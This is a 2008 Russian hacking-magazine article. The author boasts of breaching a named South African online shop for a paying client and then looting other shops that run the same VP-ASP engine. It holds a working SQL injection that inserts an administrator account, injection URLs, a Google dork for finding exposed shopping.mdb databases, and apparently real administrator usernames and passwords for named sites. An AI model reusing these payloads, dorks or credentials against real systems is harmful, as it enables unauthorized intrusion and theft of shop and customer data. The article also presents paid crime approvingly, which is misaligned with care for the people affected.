Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #114, ИЮНЬ 2008 г.

Массовый грабеж

Леонид «R0id» Стройков (stroikov@gameland.ru)

Хакер, номер #114, стр. 114-056-1

Мультивзлом зарубежных шопов

Проводить успешные атаки на крупные сайты становится все сложнее. Причина банальна: их владельцы стараются вовремя апдейтить софт, не оставляя хакерам никаких шансов. Так есть ли смысл долбиться головой о стену, пытаясь в очередной раз раскрутить полуживой баг в популярном интернет-магазине? Или эффективнее собрать «с миру по нитке», сломав малоизвестный движок, а затем опустошить десяток шопов, работающих на нем? Ответ на этот вопрос можно получить лишь на практике. Впрочем, обо всем по порядку.

Маленький заказ

Весна была в самом разгаре. Теплые дни располагали к ежедневному круглосуточному распитию пива, и думать о работе категорически не хотелось. Вернувшись вечером домой с очередной гулянки, я обнаружил в асе сообщение от своего знакомого – предложение немного подзаработать. Прикинув незавидное финансовое положение, грядущее лето и приближающуюся сессию, я таки переборол лень и отписал товарищу: «Oк. Жду».

Ждать долго не пришлось. Уже через несколько минут меня ввели в курс дела. Суть заказа была такова: клиента интересовал зарубежный шоп, располагающийся по адресу http://hoffmans.co.za. От меня требовалось предоставить БД заказов и, по возможности, онлайн-доступ к панели управления магазином. Что ж, задача обыденная, посему за работу я принялся сразу, но без особого энтузиазма.

Первым делом было решено пробить ресурсы, располагающиеся на том же сервере, что и интересующий меня шоп. Умерший www.domainsdb.net не сулил ничего хорошего, поэтому я зашел на http://gibs0n.name. В поле «Host information:» вбил урл интернет-магазина, выбрал функцию «Reverse» и нажал <Enter>. Результат предстал моему взору через пару секунд. Как оказалось, но сервере хостилось около сотни ресурсов, причем, подавляющее большинство доменов находилось в доменной зоне ЮАР – .za. Перебирать ресурсы вручную абсолютно не хотелось, а запускать сканер пока не имело смысла. Открыв в браузере новую вкладку, я зашел на http://hoffmans.co.za и начал изучать сайт. Шоп крутился на asp-движке под названием «VP-ASP Shopping Cart». Погуляв по гуглу, я откопал прошлогодний эксплойт на милворме (www.milw0rm.com) – он был написан неким tracewar'ом:

The SQL Injection bug is in the shopcurrency.asp file under the "cid" query.

quick hack to add user a/a:

/shopcurrency.asp?cid=AUD';insert into tbluser

("fldusername","fldpassword","fldaccess") values

('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

and for those of you that don't know sql at all

this is how you remove the user 'a':

/shopcurrency.asp?cid=AUD';delete from tbluser where fldusername='a'--

Суть багги заключалась в простой sql-инъекции (в скрипте shopcurrency.asp), с помощью которой без труда можно было добавлять новых юзеров с правами администратора в БД. Для этого достаточно составить запрос вида:

insert into tbluser ("fldusername","fldpassword","fldaccess") values

('логин','пароль','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

Удалить созданного юзера можно было с помощью следующего запроса:

delete from tbluser where fldusername='логин'--

Довольно улыбаясь, я вернулся к атакуемому шопу, составил sql-запрос и обновил страницу. Увы, меня ждал облом – скрипт shopcurrency.asp на сервере отсутствовал. Поразмыслив, я пришел к выводу, что имею дело с другой версией движка. Такого поворота я не ожидал, но сдаваться было еще рано. Прошерстив двиг вручную, я обнаружил пару SQL-инъектов. Первый – в скрипте поиска ShopDisplayproducts.asp:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in query expression '( ( cname Like '%ghhj'%' OR cdescription Like '%ghhj'%' OR ccode Like '%ghhj'%' OR mfg Like '%ghhj'%' ))'.

Причем, значения параметров передавались POST-методом. Второй инъект было нетрудно заметить, перейдя по линку:

http://hoffmans.co.za/shopdisplayproducts.asp?id=7&subcat=16%27&cat=Other+Chicken+Portions

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 7 AND SubcategoryID=16' Order By specialOffer DESC, cname'.

Из текста сообщения об ошибке стало понятно, что двиг использует Microsoft Access, а значит, с реализацией инъекта будут проблемы. В такой ситуации я решил на время отложить обе баги и просканировать ресурс на наличие открытых для чтения директорий и доступных для скачивания файлов .mdb. Набросав небольшой файлик с интересующими меня названиями каталогов/файлов, я запустил сканер с удаленного сервера, а затем удалился восвояси. Вернувшись в Сеть через несколько часов, я обнаружил, что сканирование успешно завершено. Я проанализировал лог и выбрал из него всего одну строчку:

http://hoffmans.co.za/shopping.mdb

Вбив урл в адресной строке и перейдя по нему, я успешно слил увесистый файлик shopping.mdb, а затем принялся изучать его содержимое. Прежде всего, меня интересовала таблица «tblUser», в которой оказалось две полезные для меня записи:

fldUserName fldPassword fldAccess

mike sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

miki sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Как видно из БД, в шопе использовалось два админских аккаунта с одинаковым пассом и уровнем доступа. Кстати, поле «fldAccess» характеризовало возможные действия (права) пользователя:

  1. shopa_displayorders.asp - Display orders
  2. shopa_editdisplay.asp?table=categories - View/Update Categories
  3. shopa_editdisplay.asp?table=products - View/Update Products
  4. shopa_editdisplay.asp?table=mycompany - View/Update Your Company Information
  5. shopa_editdisplay.asp?table=customers - View/Update Customers
  6. shopa_editdisplay.asp?table=ProdFeatures - View/Update Product Features
  7. shopa_editdisplay.asp?table=subcategories - View/Update Subcategories
  8. shopa_editdisplay.asp?table=orders - View/Update Orders
  9. shopa_query.asp - Advanced Query
  10. shopa_user_control.asp - Add/Delete Users
  11. shopa_menu_control.asp - Menus for administrators
  12. shopa_loghist.asp - View Login history
  13. shopa_editdisplay.asp?table=shipmethods - View/Update Shipping
  14. shopa_reports.asp - Sales Reports by Date
  15. shopa_stock.asp - Stock Low Reports
  16. shopa_searchreports.asp - Display search keywords
  17. shopa_affreports.asp - Affiliate Reports
  18. shopa_editdisplay.asp?table=affiliates - View/Update Affiliates

К счастью, у обоих админов никаких ограничений в правах не стояло, чем я и воспользовался :). Админка располагалась по адресу:

http://hoffmans.co.za/shopadmin.asp

Выбрав из БД первый аккаунт – mike:sweet, я успешно залогинился в панели управления интернет-магазином. В широком списке разделов меню особенно порадовала заботливо созданная возможность бэкапа данных и просмотра информации о заказах. Впрочем, весь файл базы был уже у меня на винте, так что ковыряние в админке представляло чисто спортивный интерес. Дождавшись заказчика, я передал ему базу совместно с админскими аккаунтами и получил обещанный гонорар. Казалось, работа сделана и можно спокойно отдыхать. Однако, все самое интересное было впереди!

Массовый грабеж

После того, как достаточно простым способом я поимел шоп http://hoffmans.co.za, мне пришла в голову идея поискать интернет-магазы на таком же движке. Несмотря на то, что запрос в Гугле вида:

inurl:shopping + filetype:mdb

в целом, не дал положительного результата, я все же отрыл несколько аналогичных шопов. В качестве примера можно привести ресурс www.marzoinc.com. Двиг располагался в каталоге /shopping и путь до базы выглядел так:

www.marzoinc.com/shopping/shopping.mdb

Выдрав админский аккаунт «marzoadmin:123mzo», я без труда залогинился в панели, но ничего интересного для себя не нашел. Похожая ситуация произошла и с шопом www.pinstripepromo.com (если не считать, что двиг был залит в каталог /gobain). Слив БД с сервера www.pinstripepromo.com/gobain/shopping.mdb, я тихо удалился с места происшествия. Это далеко не весь перечень сайтов, на которых стояла бажная версия шопа. Выкладывать все адреса на блюдечке я не стану, кто ищет – тот найдет.

Несмотря на то, что версия движка на разграбленных шопах была далеко не последней, они все функционировали и имели свои небольшие БД со всякими вкусностями. Так что – делай выводы.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

Info

Не стоит заострять свое внимание на явных инъектах, иногда есть более простой и удобный способ атаки. Как показывает практика, если в движке есть хотя бы один баг, то рядом лежит и второй.

Если удалось обнаружить баг пусть даже в малоизвестном движке, имеет смысл перерыть Гугл в поисках сайтов, работающих на нем.

DVD

На нашем DVD-диске ты найдешь полное видео к статье, так что запасись попкорном. Приятного просмотра.

Содержание